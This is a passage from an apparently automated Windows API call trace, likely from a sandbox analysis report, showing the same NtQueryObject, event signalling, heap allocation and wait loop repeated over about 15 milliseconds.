(in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.464] ResetEvent (hEvent=0xe8) returned 1 [0149.464] SetEvent (hEvent=0xec) returned 1 [0149.464] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.464] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.464] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.464] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.464] ResetEvent (hEvent=0xe8) returned 1 [0149.464] SetEvent (hEvent=0xec) returned 1 [0149.465] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.465] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.465] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.465] ResetEvent (hEvent=0xe8) returned 1 [0149.465] SetEvent (hEvent=0xec) returned 1 [0149.465] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.465] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.465] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.465] ResetEvent (hEvent=0xe8) returned 1 [0149.465] SetEvent (hEvent=0xec) returned 1 [0149.465] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.465] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.465] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.465] ResetEvent (hEvent=0xe8) returned 1 [0149.465] SetEvent (hEvent=0xec) returned 1 [0149.465] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.465] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.466] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.466] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.466] ResetEvent (hEvent=0xe8) returned 1 [0149.466] SetEvent (hEvent=0xec) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.466] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.466] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.466] ResetEvent (hEvent=0xe8) returned 1 [0149.466] SetEvent (hEvent=0xec) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.466] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.466] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.466] ResetEvent (hEvent=0xe8) returned 1 [0149.466] SetEvent (hEvent=0xec) returned 1 [0149.466] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.466] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.466] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.466] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.467] ResetEvent (hEvent=0xe8) returned 1 [0149.467] SetEvent (hEvent=0xec) returned 1 [0149.467] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.467] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.467] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.467] ResetEvent (hEvent=0xe8) returned 1 [0149.467] SetEvent (hEvent=0xec) returned 1 [0149.467] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.467] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.467] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.467] ResetEvent (hEvent=0xe8) returned 1 [0149.467] SetEvent (hEvent=0xec) returned 1 [0149.467] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.467] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.467] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.467] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.467] ResetEvent (hEvent=0xe8) returned 1 [0149.468] SetEvent (hEvent=0xec) returned 1 [0149.468] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.468] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.468] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.468] ResetEvent (hEvent=0xe8) returned 1 [0149.468] SetEvent (hEvent=0xec) returned 1 [0149.468] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.468] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.468] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.468] ResetEvent (hEvent=0xe8) returned 1 [0149.468] SetEvent (hEvent=0xec) returned 1 [0149.468] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.468] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.468] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.468] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.468] ResetEvent (hEvent=0xe8) returned 1 [0149.468] SetEvent (hEvent=0xec) returned 1 [0149.469] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.469] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.469] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.469] ResetEvent (hEvent=0xe8) returned 1 [0149.469] SetEvent (hEvent=0xec) returned 1 [0149.469] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.469] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.469] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.469] ResetEvent (hEvent=0xe8) returned 1 [0149.469] SetEvent (hEvent=0xec) returned 1 [0149.469] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.469] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.469] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.469] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.469] ResetEvent (hEvent=0xe8) returned 1 [0149.469] SetEvent (hEvent=0xec) returned 1 [0149.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.470] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.470] ResetEvent (hEvent=0xe8) returned 1 [0149.470] SetEvent (hEvent=0xec) returned 1 [0149.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.470] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.470] ResetEvent (hEvent=0xe8) returned 1 [0149.470] SetEvent (hEvent=0xec) returned 1 [0149.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.470] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.470] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.470] ResetEvent (hEvent=0xe8) returned 1 [0149.470] SetEvent (hEvent=0xec) returned 1 [0149.470] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.470] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.471] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.471] ResetEvent (hEvent=0xe8) returned 1 [0149.471] SetEvent (hEvent=0xec) returned 1 [0149.471] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.471] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.471] ResetEvent (hEvent=0xe8) returned 1 [0149.471] SetEvent (hEvent=0xec) returned 1 [0149.471] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.471] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.471] ResetEvent (hEvent=0xe8) returned 1 [0149.471] SetEvent (hEvent=0xec) returned 1 [0149.471] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.471] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.471] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.472] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.472] ResetEvent (hEvent=0xe8) returned 1 [0149.472] SetEvent (hEvent=0xec) returned 1 [0149.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.472] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.472] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.472] ResetEvent (hEvent=0xe8) returned 1 [0149.472] SetEvent (hEvent=0xec) returned 1 [0149.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.472] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.472] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.472] ResetEvent (hEvent=0xe8) returned 1 [0149.472] SetEvent (hEvent=0xec) returned 1 [0149.472] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.472] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.472] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.472] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.472] ResetEvent (hEvent=0xe8) returned 1 [0149.473] SetEvent (hEvent=0xec) returned 1 [0149.473] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.473] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.473] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.473] ResetEvent (hEvent=0xe8) returned 1 [0149.473] SetEvent (hEvent=0xec) returned 1 [0149.473] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.473] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.473] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.473] ResetEvent (hEvent=0xe8) returned 1 [0149.473] SetEvent (hEvent=0xec) returned 1 [0149.473] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.473] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.473] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.473] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.473] ResetEvent (hEvent=0xe8) returned 1 [0149.473] SetEvent (hEvent=0xec) returned 1 [0149.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.474] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.474] ResetEvent (hEvent=0xe8) returned 1 [0149.474] SetEvent (hEvent=0xec) returned 1 [0149.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.474] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.474] ResetEvent (hEvent=0xe8) returned 1 [0149.474] SetEvent (hEvent=0xec) returned 1 [0149.474] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.474] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.474] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.474] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.474] ResetEvent (hEvent=0xe8) returned 1 [0149.474] SetEvent (hEvent=0xec) returned 1 [0149.475] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.475] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.475] ResetEvent (hEvent=0xe8) returned 1 [0149.475] SetEvent (hEvent=0xec) returned 1 [0149.475] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.475] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.475] ResetEvent (hEvent=0xe8) returned 1 [0149.475] SetEvent (hEvent=0xec) returned 1 [0149.475] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.475] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.475] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.475] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.475] ResetEvent (hEvent=0xe8) returned 1 [0149.475] SetEvent (hEvent=0xec) returned 1 [0149.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.476] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.476] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.476] ResetEvent (hEvent=0xe8) returned 1 [0149.476] SetEvent (hEvent=0xec) returned 1 [0149.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.476] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.476] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.476] ResetEvent (hEvent=0xe8) returned 1 [0149.476] SetEvent (hEvent=0xec) returned 1 [0149.476] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.476] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.476] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.476] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.476] ResetEvent (hEvent=0xe8) returned 1 [0149.476] SetEvent (hEvent=0xec) returned 1 [0149.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.477] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, ObjectInformation=0x980048, ObjectInformationLength=0x2800, ReturnLength=0x1f3fa48 | out: ObjectInformation=0x980048, ReturnLength=0x1f3fa48) returned 0x0 [0149.477] ResetEvent (hEvent=0xe8) returned 1 [0149.477] SetEvent (hEvent=0xec) returned 1 [0149.477] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x200) returned 0xa122d8 [0149.477] WaitForMultipleObjects (nCount=0x2, lpHandles=0xa122d8*=0xe8, bWaitAll=0, dwMilliseconds=0xffffffff) returned 0x0 [0149.477] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa122d8) returned 1 [0149.477] NtQueryObject (in: Handle=0x1a0, ObjectInformationClass=0x2, 